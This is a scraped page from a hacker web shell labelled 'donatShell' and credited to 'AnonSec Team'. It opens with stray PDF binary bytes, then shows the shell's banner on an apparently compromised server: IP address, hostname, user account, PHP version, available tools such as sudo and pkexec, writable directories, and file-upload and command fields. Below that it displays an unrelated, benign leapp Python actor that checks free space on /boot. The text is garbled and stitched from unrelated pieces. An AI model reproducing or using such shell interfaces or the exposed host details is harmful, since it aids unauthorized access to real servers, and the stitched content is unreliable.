%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/leapp-repository/repositories/system_upgrade/common/actors/checkbootavailspace/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/leapp-repository/repositories/system_upgrade/common/actors/checkbootavailspace/actor.py
from leapp.actors import Actor
from leapp.libraries.actor.checkbootavailspace import (
    check_avail_space_on_boot,
    get_avail_bytes_on_boot,
)
from leapp.reporting import Report
from leapp.tags import ChecksPhaseTag, IPUWorkflowTag


class CheckBootAvailSpace(Actor):
    """
    Check if at least 100Mib of available space on /boot. If not, inhibit the upgrade process.

    Rationale for the requirement of 100MiB:
    - Before reboot into initramfs, the CopyInitramfsToBoot actor copies kernel and initramfs to
      /boot, together worth of 66MiB.
    - After booting into initramfs, the RemoveBootFiles actor removes the copied kernel and
      initramfs from /boot.
    - The DnfShellRpmUpgrade installs a new kernel-core package which puts additional 54MiB of data
      to /boot.
    - Even though the available space needed at the time of writing this actor is 66MiB, the
      additional 100-66=34MiB is a leeway for potential growth of the kernel or initramfs in size.
    """

    name = 'check_boot_avail_space'
    consumes = ()
    produces = (Report,)
    tags = (IPUWorkflowTag, ChecksPhaseTag)

    def process(self):
        check_avail_space_on_boot(get_avail_bytes_on_boot)

Anon7 - 2022
AnonSec Team